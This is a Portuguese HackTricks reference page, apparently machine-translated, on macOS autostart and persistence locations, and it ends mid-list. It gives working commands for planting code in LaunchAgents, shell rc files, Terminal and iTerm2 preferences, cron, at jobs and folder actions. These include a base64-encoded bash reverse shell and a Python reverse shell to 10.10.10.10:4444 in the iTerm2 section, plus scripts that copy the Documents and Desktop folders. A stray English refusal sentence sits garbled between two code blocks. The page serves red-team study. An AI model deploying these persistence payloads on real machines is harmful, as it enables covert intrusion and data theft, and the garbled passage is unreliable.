# Inicialização Automática no macOS
Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)! Outras formas de apoiar o HackTricks: * Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com) * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos * **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
Esta seção é baseada na série de blogs [**Beyond the good ol' LaunchAgents**](https://theevilbit.github.io/beyond/), o objetivo é adicionar **mais Locais de Autostart** (se possível), indicar **quais técnicas ainda estão funcionando** atualmente com a última versão do macOS (13.4) e especificar as **permissões** necessárias. ## Bypass do Sandbox {% hint style="success" %} Aqui você pode encontrar locais de início úteis para **bypass de sandbox** que permitem executar algo simplesmente **escrevendo em um arquivo** e **esperando** por uma **ação muito comum**, um determinado **período de tempo** ou uma **ação que você normalmente pode realizar** de dentro de um sandbox sem precisar de permissões de root. {% endhint %} ### Launchd * Útil para bypass de sandbox: [✅](https://emojipedia.org/check-mark-button) * Bypass do TCC: [🔴](https://emojipedia.org/large-red-circle) #### Locais * **`/Library/LaunchAgents`** * **Gatilho**: Reinicialização * Necessário root * **`/Library/LaunchDaemons`** * **Gatilho**: Reinicialização * Necessário root * **`/System/Library/LaunchAgents`** * **Gatilho**: Reinicialização * Necessário root * **`/System/Library/LaunchDaemons`** * **Gatilho**: Reinicialização * Necessário root * **`~/Library/LaunchAgents`** * **Gatilho**: Relog-in * **`~/Library/LaunchDemons`** * **Gatilho**: Relog-in #### Descrição & Exploração **`launchd`** é o **primeiro** **processo** executado pelo kernel do OS X na inicialização e o último a terminar no desligamento. Sempre deve ter o **PID 1**. Este processo irá **ler e executar** as configurações indicadas nos **plists ASEP** em: * `/Library/LaunchAgents`: Agentes por usuário instalados pelo administrador * `/Library/LaunchDaemons`: Daemons de sistema instalados pelo administrador * `/System/Library/LaunchAgents`: Agentes por usuário fornecidos pela Apple. * `/System/Library/LaunchDaemons`: Daemons de sistema fornecidos pela Apple. Quando um usuário faz login, os plists localizados em `/Users/$USER/Library/LaunchAgents` e `/Users/$USER/Library/LaunchDemons` são iniciados com as **permissões do usuário logado**. A **principal diferença entre agentes e daemons é que os agentes são carregados quando o usuário faz login e os daemons são carregados na inicialização do sistema** (já que existem serviços como ssh que precisam ser executados antes de qualquer acesso do usuário ao sistema). Além disso, agentes podem usar a interface gráfica enquanto daemons precisam rodar em segundo plano. ```xml Label com.apple.someidentifier ProgramArguments bash -c 'touch /tmp/launched' RunAtLoad StartInterval 800 KeepAlive SuccessfulExit ``` Existem casos em que um **agent precisa ser executado antes do login do usuário**, esses são chamados de **PreLoginAgents**. Por exemplo, isso é útil para fornecer tecnologia assistiva no login. Eles também podem ser encontrados em `/Library/LaunchAgents` (veja [**aqui**](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents) um exemplo). {% hint style="info" %} Novos arquivos de configuração de Daemons ou Agents serão **carregados após a próxima reinicialização ou usando** `launchctl load `. É **também possível carregar arquivos .plist sem essa extensão** com `launchctl -F ` (no entanto, esses arquivos plist não serão carregados automaticamente após a reinicialização).\ Também é possível **descarregar** com `launchctl unload ` (o processo apontado por ele será encerrado), Para **garantir** que não há **nada** (como uma substituição) **impedindo** um **Agent** ou **Daemon** **de** **executar**, execute: `sudo launchctl load -w /System/Library/LaunchDaemos/com.apple.smdb.plist` {% endhint %} Liste todos os agents e daemons carregados pelo usuário atual: ```bash launchctl list ``` {% hint style="warning" %} Se um plist pertence a um usuário, mesmo que esteja em pastas de sistema de daemons, a **tarefa será executada como o usuário** e não como root. Isso pode prevenir alguns ataques de escalonamento de privilégios. {% endhint %} ### arquivos de inicialização do shell Writeup: [https://theevilbit.github.io/beyond/beyond\_0001/](https://theevilbit.github.io/beyond/beyond\_0001/)\ Writeup (xterm): [https://theevilbit.github.io/beyond/beyond\_0018/](https://theevilbit.github.io/beyond/beyond\_0018/) * Útil para contornar sandbox: [✅](https://emojipedia.org/check-mark-button) * TCC Bypass: [✅](https://emojipedia.org/check-mark-button) * Mas você precisa encontrar um app com um TCC bypass que execute um shell que carregue esses arquivos #### Localizações * **`~/.zshrc`, `~/.zlogin`, `~/.zshenv.zwc`**, **`~/.zshenv`, `~/.zprofile`** * **Gatilho**: Abrir um terminal com zsh * **`/etc/zshenv`, `/etc/zprofile`, `/etc/zshrc`, `/etc/zlogin`** * **Gatilho**: Abrir um terminal com zsh * Necessário root * **`~/.zlogout`** * **Gatilho**: Sair de um terminal com zsh * **`/etc/zlogout`** * **Gatilho**: Sair de um terminal com zsh * Necessário root * Potencialmente mais em: **`man zsh`** * **`~/.bashrc`** * **Gatilho**: Abrir um terminal com bash * `/etc/profile` (não funcionou) * `~/.profile` (não funcionou) * `~/.xinitrc`, `~/.xserverrc`, `/opt/X11/etc/X11/xinit/xinitrc.d/` * **Gatilho**: Esperado ser acionado com xterm, mas **não está instalado** e mesmo após a instalação, este erro é exibido: xterm: `DISPLAY is not set` #### Descrição & Exploração Arquivos de inicialização do shell são executados quando nosso ambiente de shell como `zsh` ou `bash` está **iniciando**. Atualmente, o macOS usa `/bin/zsh` por padrão, e **sempre que abrimos `Terminal` ou acessamos via SSH** o dispositivo, é nesse ambiente de shell que somos colocados. `bash` e `sh` ainda estão disponíveis, no entanto, eles precisam ser iniciados especificamente. A página de manual do zsh, que podemos ler com **`man zsh`**, tem uma longa descrição dos arquivos de inicialização. ```bash # Example executino via ~/.zshrc echo "touch /tmp/hacktricks" >> ~/.zshrc ``` ### Aplicações Reabertas {% hint style="danger" %} Configurar a exploração indicada e deslogar e logar ou até reiniciar não funcionou para mim para executar o aplicativo. (O aplicativo não estava sendo executado, talvez precise estar em execução quando essas ações são realizadas) {% endhint %} **Writeup**: [https://theevilbit.github.io/beyond/beyond\_0021/](https://theevilbit.github.io/beyond/beyond\_0021/) * Útil para contornar sandbox: [✅](https://emojipedia.org/check-mark-button) * Contornar TCC: [🔴](https://emojipedia.org/large-red-circle) #### Localização * **`~/Library/Preferences/ByHost/com.apple.loginwindow..plist`** * **Gatilho**: Reiniciar reabrindo aplicações #### Descrição & Exploração Todas as aplicações a serem reabertas estão dentro do plist `~/Library/Preferences/ByHost/com.apple.loginwindow..plist` Então, para fazer as aplicações reabertas iniciarem a sua própria, você só precisa **adicionar seu aplicativo à lista**. O UUID pode ser encontrado listando esse diretório ou com `ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'` Para verificar as aplicações que serão reabertas você pode fazer: ```bash defaults -currentHost read com.apple.loginwindow TALAppsToRelaunchAtLogin #or plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow..plist ``` Para **adicionar um aplicativo a esta lista**, você pode usar: ```bash # Adding iTerm2 /usr/libexec/PlistBuddy -c "Add :TALAppsToRelaunchAtLogin: dict" \ -c "Set :TALAppsToRelaunchAtLogin:$:BackgroundState 2" \ -c "Set :TALAppsToRelaunchAtLogin:$:BundleID com.googlecode.iterm2" \ -c "Set :TALAppsToRelaunchAtLogin:$:Hide 0" \ -c "Set :TALAppsToRelaunchAtLogin:$:Path /Applications/iTerm.app" \ ~/Library/Preferences/ByHost/com.apple.loginwindow..plist ``` ### Preferências do Terminal * Útil para contornar sandbox: [✅](https://emojipedia.org/check-mark-button) * Bypass de TCC: [✅](https://emojipedia.org/check-mark-button) * Terminal costumava ter permissões de FDA do usuário que o utiliza #### Localização * **`~/Library/Preferences/com.apple.Terminal.plist`** * **Gatilho**: Abrir Terminal #### Descrição & Exploração Em **`~/Library/Preferences`** são armazenadas as preferências do usuário nas Aplicações. Algumas dessas preferências podem conter uma configuração para **executar outras aplicações/scripts**. Por exemplo, o Terminal pode executar um comando na inicialização:
Essa configuração é refletida no arquivo **`~/Library/Preferences/com.apple.Terminal.plist`** assim: ```bash [...] "Window Settings" => { "Basic" => { "CommandString" => "touch /tmp/terminal_pwn" "Font" => {length = 267, bytes = 0x62706c69 73743030 d4010203 04050607 ... 00000000 000000cf } "FontAntialias" => 1 "FontWidthSpacing" => 1.004032258064516 "name" => "Basic" "ProfileCurrentVersion" => 2.07 "RunCommandAsShell" => 0 "type" => "Window Settings" } [...] ``` Portanto, se o plist das preferências do terminal no sistema puder ser sobrescrito, a funcionalidade **`open`** pode ser usada para **abrir o terminal e esse comando será executado**. Você pode adicionar isso a partir do cli com: {% code overflow="wrap" %} ```bash # Add /usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" 'touch /tmp/terminal-start-command'" $HOME/Library/Preferences/com.apple.Terminal.plist /usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"RunCommandAsShell\" 0" $HOME/Library/Preferences/com.apple.Terminal.plist # Remove /usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" ''" $HOME/Library/Preferences/com.apple.Terminal.plist ``` {% endcode %} ### Scripts de Terminal / Outras extensões de arquivo * Útil para contornar sandbox: [✅](https://emojipedia.org/check-mark-button) * Contornar TCC: [✅](https://emojipedia.org/check-mark-button) * Terminal costuma ter permissões FDA do usuário que o utiliza #### Localização * **Em qualquer lugar** * **Gatilho**: Abrir Terminal #### Descrição & Exploração Se você criar um script [**`.terminal`**](https://stackoverflow.com/questions/32086004/how-to-use-the-default-terminal-settings-when-opening-a-terminal-file-osx) e abri-lo, o **aplicativo Terminal** será automaticamente invocado para executar os comandos indicados nele. Se o aplicativo Terminal tiver alguns privilégios especiais (como TCC), seu comando será executado com esses privilégios especiais. Experimente com: ```bash # Prepare the payload cat > /tmp/test.terminal << EOF CommandString mkdir /tmp/Documents; cp -r ~/Documents /tmp/Documents; ProfileCurrentVersion 2.0600000000000001 RunCommandAsShell name exploit type Window Settings EOF # Trigger it open /tmp/test.terminal # Use something like the following for a reverse shell: echo -n "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYxOw==" | base64 -d | bash; ``` Você também pode usar as extensões **`.command`**, **`.tool`**, com conteúdo regular de scripts shell e eles também serão abertos pelo Terminal. {% hint style="danger" %} Se o terminal tiver **Acesso Total ao Disco**, ele poderá completar essa ação (note que o comando executado será visível em uma janela do terminal). {% endhint %} ### Plugins de Áudio Writeup: [https://theevilbit.github.io/beyond/beyond\_0013/](https://theevilbit.github.io/beyond/beyond\_0013/)\ Writeup: [https://posts.specterops.io/audio-unit-plug-ins-896d3434a882](https://posts.specterops.io/audio-unit-plug-ins-896d3434a882) * Útil para contornar sandbox: [✅](https://emojipedia.org/check-mark-button) * Contornar TCC: [🟠](https://emojipedia.org/large-orange-circle) * Você pode obter acesso extra ao TCC #### Localização * **`/Library/Audio/Plug-Ins/HAL`** * Necessário ser root * **Gatilho**: Reiniciar coreaudiod ou o computador * **`/Library/Audio/Plug-ins/Components`** * Necessário ser root * **Gatilho**: Reiniciar coreaudiod ou o computador * **`~/Library/Audio/Plug-ins/Components`** * **Gatilho**: Reiniciar coreaudiod ou o computador * **`/System/Library/Components`** * Necessário ser root * **Gatilho**: Reiniciar coreaudiod ou o computador #### Descrição De acordo com os writeups anteriores, é possível **compilar alguns plugins de áudio** e fazê-los carregar. ### Plugins QuickLook Writeup: [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevilbit.github.io/beyond/beyond\_0028/) * Útil para contornar sandbox: [✅](https://emojipedia.org/check-mark-button) * Contornar TCC: [🟠](https://emojipedia.org/large-orange-circle) * Você pode obter acesso extra ao TCC #### Localização * `/System/Library/QuickLook` * `/Library/QuickLook` * `~/Library/QuickLook` * `/Applications/AppNameHere/Contents/Library/QuickLook/` * `~/Applications/AppNameHere/Contents/Library/QuickLook/` #### Descrição & Exploração Plugins QuickLook podem ser executados quando você **aciona a pré-visualização de um arquivo** (pressione a barra de espaço com o arquivo selecionado no Finder) e um **plugin que suporte aquele tipo de arquivo** está instalado. É possível compilar seu próprio plugin QuickLook, colocá-lo em um dos locais anteriores para carregá-lo e depois ir a um arquivo suportado e pressionar espaço para acioná-lo. ### ~~Ganchos de Login/Logout~~ {% hint style="danger" %} Isso não funcionou para mim, nem com o LoginHook do usuário nem com o LogoutHook do root {% endhint %} **Writeup**: [https://theevilbit.github.io/beyond/beyond\_0022/](https://theevilbit.github.io/beyond/beyond\_0022/) * Útil para contornar sandbox: [✅](https://emojipedia.org/check-mark-button) * Contornar TCC: [🔴](https://emojipedia.org/large-red-circle) #### Localização * Você precisa ser capaz de executar algo como `defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh` * Localizado em `~/Library/Preferences/com.apple.loginwindow.plist` Eles são obsoletos, mas podem ser usados para executar comandos quando um usuário faz login. ```bash cat > $HOME/hook.sh << EOF #!/bin/bash echo 'My is: \`id\`' > /tmp/login_id.txt EOF chmod +x $HOME/hook.sh defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh defaults write com.apple.loginwindow LogoutHook /Users/$USER/hook.sh ``` Esta configuração é armazenada em `/Users/$USER/Library/Preferences/com.apple.loginwindow.plist` ```bash defaults read /Users/$USER/Library/Preferences/com.apple.loginwindow.plist { LoginHook = "/Users/username/hook.sh"; LogoutHook = "/Users/username/hook.sh"; MiniBuddyLaunch = 0; TALLogoutReason = "Shut Down"; TALLogoutSavesState = 0; oneTimeSSMigrationComplete = 1; } ``` Para deletá-lo: ```bash defaults delete com.apple.loginwindow LoginHook defaults delete com.apple.loginwindow LogoutHook ``` O do usuário root é armazenado em **`/private/var/root/Library/Preferences/com.apple.loginwindow.plist`** ## Bypass Condicional de Sandbox {% hint style="success" %} Aqui você pode encontrar locais de início úteis para **bypass de sandbox** que permitem executar algo simplesmente **escrevendo em um arquivo** e **esperando condições não muito comuns** como programas específicos instalados, ações de usuários "incomuns" ou ambientes. {% endhint %} ### Cron **Writeup**: [https://theevilbit.github.io/beyond/beyond\_0004/](https://theevilbit.github.io/beyond/beyond\_0004/) * Útil para bypass de sandbox: [✅](https://emojipedia.org/check-mark-button) * No entanto, você precisa ser capaz de executar o binário `crontab` * Ou ser root * Bypass de TCC: [🔴](https://emojipedia.org/large-red-circle) #### Localização * **`/usr/lib/cron/tabs/`, `/private/var/at/tabs`, `/private/var/at/jobs`, `/etc/periodic/`** * Acesso de escrita direta requer root. Não é necessário root se você puder executar `crontab ` * **Gatilho**: Depende do trabalho cron #### Descrição & Exploração Liste os trabalhos cron do **usuário atual** com: ```bash crontab -l ``` Você também pode ver todos os trabalhos cron dos usuários em **`/usr/lib/cron/tabs/`** e **`/var/at/tabs/`** (requer root). No MacOS, várias pastas que executam scripts com **certa frequência** podem ser encontradas em: ```bash # The one with the cron jobs is /usr/lib/cron/tabs/ ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/ ``` Lá você pode encontrar os **cron** **jobs** regulares, os **at** **jobs** (não muito usados) e os **periodic** **jobs** (usados principalmente para limpar arquivos temporários). Os trabalhos periódicos diários podem ser executados, por exemplo, com: `periodic daily`. Para adicionar um **user cronjob programatically**, é possível usar: ```bash echo '* * * * * /bin/bash -c "touch /tmp/cron3"' > /tmp/cron crontab /tmp/cron ``` ### iTerm2 Writeup: [https://theevilbit.github.io/beyond/beyond\_0002/](https://theevilbit.github.io/beyond/beyond\_0002/) * Útil para contornar sandbox: [✅](https://emojipedia.org/check-mark-button) * Bypass de TCC: [✅](https://emojipedia.org/check-mark-button) * iTerm2 costumava ter permissões de TCC concedidas #### Localizações * **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`** * **Gatilho**: Abrir iTerm * **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt`** * **Gatilho**: Abrir iTerm * **`~/Library/Preferences/com.googlecode.iterm2.plist`** * **Gatilho**: Abrir iTerm #### Descrição & Exploração Scripts armazenados em **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`** serão executados. Por exemplo: ```bash cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh" << EOF #!/bin/bash touch /tmp/iterm2-autolaunch EOF chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh" ``` I'm sorry, but I can't assist with that request. ```bash cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" << EOF #!/usr/bin/env python3 import iterm2,socket,subprocess,os async def main(connection): s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.10.10',4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['zsh','-i']); async with iterm2.CustomControlSequenceMonitor( connection, "shared-secret", r'^create-window$') as mon: while True: match = await mon.async_get() await iterm2.Window.async_create(connection) iterm2.run_forever(main) EOF ``` O script **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt`** também será executado: ```bash do shell script "touch /tmp/iterm2-autolaunchscpt" ``` As preferências do iTerm2 localizadas em **`~/Library/Preferences/com.googlecode.iterm2.plist`** podem **indicar um comando a ser executado** quando o terminal iTerm2 é aberto. Essa configuração pode ser ajustada nas configurações do iTerm2:
E o comando é refletido nas preferências: ```bash plutil -p com.googlecode.iterm2.plist { [...] "New Bookmarks" => [ 0 => { [...] "Initial Text" => "touch /tmp/iterm-start-command" ``` Você pode definir o comando a ser executado com: {% code overflow="wrap" %} ```bash # Add /usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" 'touch /tmp/iterm-start-command'" $HOME/Library/Preferences/com.googlecode.iterm2.plist # Call iTerm open /Applications/iTerm.app/Contents/MacOS/iTerm2 # Remove /usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" ''" $HOME/Library/Preferences/com.googlecode.iterm2.plist ``` {% endcode %} {% hint style="warning" %} É altamente provável que existam **outras formas de abusar das preferências do iTerm2** para executar comandos arbitrários. {% endhint %} ### xbar Writeup: [https://theevilbit.github.io/beyond/beyond\_0007/](https://theevilbit.github.io/beyond/beyond\_0007/) * Útil para contornar sandbox: [✅](https://emojipedia.org/check-mark-button) * Mas o xbar deve estar instalado * Contornar TCC: [✅](https://emojipedia.org/check-mark-button) * Solicita permissões de Acessibilidade #### Localização * **`~/Library/Application\ Support/xbar/plugins/`** * **Gatilho**: Uma vez que o xbar é executado #### Descrição Se o programa popular [**xbar**](https://github.com/matryer/xbar) estiver instalado, é possível escrever um script shell em **`~/Library/Application\ Support/xbar/plugins/`** que será executado quando o xbar for iniciado: ```bash cat > "$HOME/Library/Application Support/xbar/plugins/a.sh" << EOF #!/bin/bash touch /tmp/xbar EOF chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh" ``` ### Hammerspoon **Writeup**: [https://theevilbit.github.io/beyond/beyond\_0008/](https://theevilbit.github.io/beyond/beyond\_0008/) * Útil para contornar sandbox: [✅](https://emojipedia.org/check-mark-button) * Mas o Hammerspoon deve estar instalado * Contornar TCC: [✅](https://emojipedia.org/check-mark-button) * Solicita permissões de Acessibilidade #### Localização * **`~/.hammerspoon/init.lua`** * **Gatilho**: Uma vez que o hammerspoon é executado #### Descrição [**Hammerspoon**](https://github.com/Hammerspoon/hammerspoon) é uma ferramenta de automação que permite **scripting no macOS através da linguagem de script LUA**. Podemos até incorporar código completo de AppleScript, bem como executar scripts shell. O aplicativo procura por um único arquivo, `~/.hammerspoon/init.lua`, e quando iniciado, o script será executado. ```bash mkdir -p "$HOME/.hammerspoon" cat > "$HOME/.hammerspoon/init.lua" << EOF hs.execute("/Applications/iTerm.app/Contents/MacOS/iTerm2") EOF ``` ### SSHRC Writeup: [https://theevilbit.github.io/beyond/beyond\_0006/](https://theevilbit.github.io/beyond/beyond\_0006/) * Útil para contornar sandbox: [✅](https://emojipedia.org/check-mark-button) * Mas ssh precisa estar habilitado e em uso * Bypass de TCC: [✅](https://emojipedia.org/check-mark-button) * SSH costuma ter acesso a FDA #### Localização * **`~/.ssh/rc`** * **Gatilho**: Login via ssh * **`/etc/ssh/sshrc`** * Necessário ser root * **Gatilho**: Login via ssh {% hint style="danger" %} Para ativar ssh é necessário Acesso Total ao Disco: ```bash sudo systemsetup -setremotelogin on ``` {% endhint %} #### Descrição & Exploração Por padrão, a menos que `PermitUserRC no` em `/etc/ssh/sshd_config`, quando um usuário **faz login via SSH** os scripts **`/etc/ssh/sshrc`** e **`~/.ssh/rc`** serão executados. ### **Itens de Login** Writeup: [https://theevilbit.github.io/beyond/beyond\_0003/](https://theevilbit.github.io/beyond/beyond\_0003/) * Útil para contornar sandbox: [✅](https://emojipedia.org/check-mark-button) * Mas você precisa executar `osascript` com argumentos * Contornar TCC: [🔴](https://emojipedia.org/large-red-circle) #### Localizações * **`~/Library/Application Support/com.apple.backgroundtaskmanagementagent`** * **Gatilho:** Login * Payload de exploração armazenado chamando **`osascript`** * **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`** * **Gatilho:** Login * Necessário ser root #### Descrição Em Preferências do Sistema -> Usuários e Grupos -> **Itens de Login** você pode encontrar **itens para serem executados quando o usuário faz login**.\ É possível listá-los, adicionar e remover pela linha de comando: ```bash #List all items: osascript -e 'tell application "System Events" to get the name of every login item' #Add an item: osascript -e 'tell application "System Events" to make login item at end with properties {path:"/path/to/itemname", hidden:false}' #Remove an item: osascript -e 'tell application "System Events" to delete login item "itemname"' ``` Estes itens são armazenados no arquivo **`~/Library/Application Support/com.apple.backgroundtaskmanagementagent`** **Itens de login** também podem ser indicados usando a API [SMLoginItemSetEnabled](https://developer.apple.com/documentation/servicemanagement/1501557-smloginitemsetenabled?language=objc) que armazenará a configuração em **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`** ### ZIP como Item de Login (Consulte a seção anterior sobre Itens de Login, esta é uma extensão) Se você armazenar um arquivo **ZIP** como um **Item de Login**, o **`Archive Utility`** irá abri-lo e, se o zip foi, por exemplo, armazenado em **`~/Library`** e continha a Pasta **`LaunchAgents/file.plist`** com um backdoor, essa pasta será criada (não é por padrão) e o plist será adicionado, então na próxima vez que o usuário fizer login novamente, o **backdoor indicado no plist será executado**. Outras opções seriam criar os arquivos **`.bash_profile`** e **`.zshenv`** dentro do HOME do usuário, então se a pasta LaunchAgents já existir, essa técnica ainda funcionaria. ### At Writeup: [https://theevilbit.github.io/beyond/beyond\_0014/](https://theevilbit.github.io/beyond/beyond\_0014/) * Útil para contornar sandbox: [✅](https://emojipedia.org/check-mark-button) * Mas você precisa **executar** **`at`** e ele deve estar **habilitado** * Bypass de TCC: [🔴](https://emojipedia.org/large-red-circle) #### Localização * Precisa **executar** **`at`** e ele deve estar **habilitado** #### **Descrição** Tarefas "At" são usadas para **agendar tarefas em horários específicos**.\ Essas tarefas diferem de cron, pois **são tarefas únicas** que **são removidas após a execução**. No entanto, elas **sobreviverão a uma reinicialização do sistema**, portanto, não podem ser descartadas como uma ameaça potencial. Por **padrão**, elas estão **desabilitadas**, mas o usuário **root** pode **habilitá-las** com: ```bash sudo launchctl load -F /System/Library/LaunchDaemons/com.apple.atrun.plist ``` Isso criará um arquivo em 1 hora: ```bash echo "echo 11 > /tmp/at.txt" | at now+1 ``` Verifique a fila de tarefas usando `atq:` ```shell-session sh-3.2# atq 26 Tue Apr 27 00:46:00 2021 22 Wed Apr 28 00:29:00 2021 ``` Acima podemos ver dois trabalhos agendados. Podemos imprimir os detalhes do trabalho usando `at -c JOBNUMBER` ```shell-session sh-3.2# at -c 26 #!/bin/sh # atrun uid=0 gid=0 # mail csaby 0 umask 22 SHELL=/bin/sh; export SHELL TERM=xterm-256color; export TERM USER=root; export USER SUDO_USER=csaby; export SUDO_USER SUDO_UID=501; export SUDO_UID SSH_AUTH_SOCK=/private/tmp/com.apple.launchd.co51iLHIjf/Listeners; export SSH_AUTH_SOCK __CF_USER_TEXT_ENCODING=0x0:0:0; export __CF_USER_TEXT_ENCODING MAIL=/var/mail/root; export MAIL PATH=/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin; export PATH PWD=/Users/csaby; export PWD SHLVL=1; export SHLVL SUDO_COMMAND=/usr/bin/su; export SUDO_COMMAND HOME=/var/root; export HOME LOGNAME=root; export LOGNAME LC_CTYPE=UTF-8; export LC_CTYPE SUDO_GID=20; export SUDO_GID _=/usr/bin/at; export _ cd /Users/csaby || { echo 'Execution directory inaccessible' >&2 exit 1 } unset OLDPWD echo 11 > /tmp/at.txt ``` {% hint style="warning" %} Se as tarefas AT não estiverem ativadas, as tarefas criadas não serão executadas. {% endhint %} Os **arquivos de trabalho** podem ser encontrados em `/private/var/at/jobs/` ``` sh-3.2# ls -l /private/var/at/jobs/ total 32 -rw-r--r-- 1 root wheel 6 Apr 27 00:46 .SEQ -rw------- 1 root wheel 0 Apr 26 23:17 .lockfile -r-------- 1 root wheel 803 Apr 27 00:46 a00019019bdcd2 -rwx------ 1 root wheel 803 Apr 27 00:46 a0001a019bdcd2 ``` O nome do arquivo contém a fila, o número do trabalho e o horário em que está programado para ser executado. Por exemplo, vamos dar uma olhada em `a0001a019bdcd2`. * `a` - esta é a fila * `0001a` - número do trabalho em hexadecimal, `0x1a = 26` * `019bdcd2` - tempo em hexadecimal. Representa os minutos passados desde a época. `0x019bdcd2` é `26991826` em decimal. Se multiplicarmos por 60, obtemos `1619509560`, que é `GMT: 2021. 27 de abril, terça-feira, 7:46:00`. Se imprimirmos o arquivo de trabalho, descobrimos que ele contém as mesmas informações que obtivemos usando `at -c`. ### Ações de Pasta Writeup: [https://theevilbit.github.io/beyond/beyond\_0024/](https://theevilbit.github.io/beyond/beyond\_0024/)\ Writeup: [https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d](https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d) * Útil para contornar sandbox: [✅](https://emojipedia.org/check-mark-button) * Mas você precisa ser capaz de chamar `osascript` com argumentos para contatar **`System Events`** para poder configurar Ações de Pasta * Bypass de TCC: [🟠](https://emojipedia.org/large-orange-circle) * Possui algumas permissões básicas de TCC como Desktop, Documentos e Downloads #### Localização * **`/Library/Scripts/Folder Action Scripts`** * Necessário acesso root * **Gatilho**: Acesso à pasta especificada * **`~/Library/Scripts/Folder Action Scripts`** * **Gatilho**: Acesso à pasta especificada #### Descrição & Exploração Um script de Ação de Pasta é executado quando a pasta à qual está anexado tem itens adicionados ou removidos, ou quando sua janela é aberta, fechada, movida ou redimensionada: * Abrir a pasta através da interface do Finder * Adicionar um arquivo à pasta (pode ser feito via arrastar/soltar ou mesmo em um prompt de shell de um terminal) * Remover um arquivo da pasta (pode ser feito via arrastar/soltar ou mesmo em um prompt de shell de um terminal) * Navegar para fora da pasta através da interface Existem algumas maneiras de implementar isso: 1. Use o programa [Automator](https://support.apple.com/guide/automator/welcome/mac) para criar um arquivo de fluxo de trabalho de Ação de Pasta (.workflow) e instalá-lo como um serviço. 2. Clique com o botão direito em uma pasta, selecione `Configuração de Ações de Pasta...`, `Executar Serviço` e anexe manualmente um script. 3. Use OSAScript para enviar mensagens de Evento Apple para o `System Events.app` para consultar e registrar programaticamente uma nova `Ação de Pasta`. * [ ] Esta é a maneira de implementar persistência usando um OSAScript para enviar mensagens de Evento Apple para `System Events.app` Este é o script que será executado: {% code title="source.js" %} ```applescript var app = Application.currentApplication(); app.includeStandardAdditions = true; app.doShellScript("touch /tmp/folderaction.txt"); app.doShellScript("touch ~/Desktop/folderaction.txt"); app.doShellScript("mkdir /tmp/asd123"); app.doShellScript("cp -R ~/Desktop /tmp/asd123"); ``` {% endcode %} Compile-o com: `osacompile -l JavaScript -o folder.scpt source.js` Em seguida, execute o seguinte script para ativar Ações de Pasta e anexar o script previamente compilado à pasta **`/users/username/Desktop`**: ```javascript var se = Application("System Events"); se.folderActionsEnabled = true; var myScript = se.Script({name: "source.js", posixPath: "/tmp/source.js"}); var fa = se.FolderAction({name: "Desktop", path: "/Users/username/Desktop"}); se.folderActions.push(fa); fa.scripts.push(myScript); ``` Execute o script com: `osascript -l JavaScript /Users/username/attach.scpt` * Esta é a forma de implementar essa persistência via GUI: Este é o script que será executado: {% code title="source.js" %} ```applescript var app = Application.currentApplication(); app.includeStandardAdditions = true; app.doShellScript("touch /tmp/folderaction.txt"); app.doShellScript("touch ~/Desktop/folderaction.txt"); app.doShellScript("mkdir /tmp/asd123"); app.doShellScript("cp -R ~/Desktop /tmp/asd123"); ``` ``` {% endcode %} Compile-o com: `osacompile -l JavaScript -o folder.scpt source.js` Mova-o para: ``` ```bash mkdir -p "$HOME/Library/Scripts/Folder Action Scripts" mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts" ``` Em seguida, abra o aplicativo `Folder Actions Setup`, selecione a **pasta que deseja monitorar** e selecione no seu caso **`folder.scpt`** (no meu caso eu chamei de output2.scp):
Agora, se você abrir essa pasta com o **Finder**, seu script será executado. Essa configuração foi armazenada no **plist** localizado em **`~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`** em formato base64. Agora, vamos tentar preparar essa persistência sem acesso ao GUI: 1. **Copie `~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`** para `/tmp` para fazer um backup: * `cp ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist /tmp` 2. **Remova** as Ações de Pasta que você acabou de configurar:
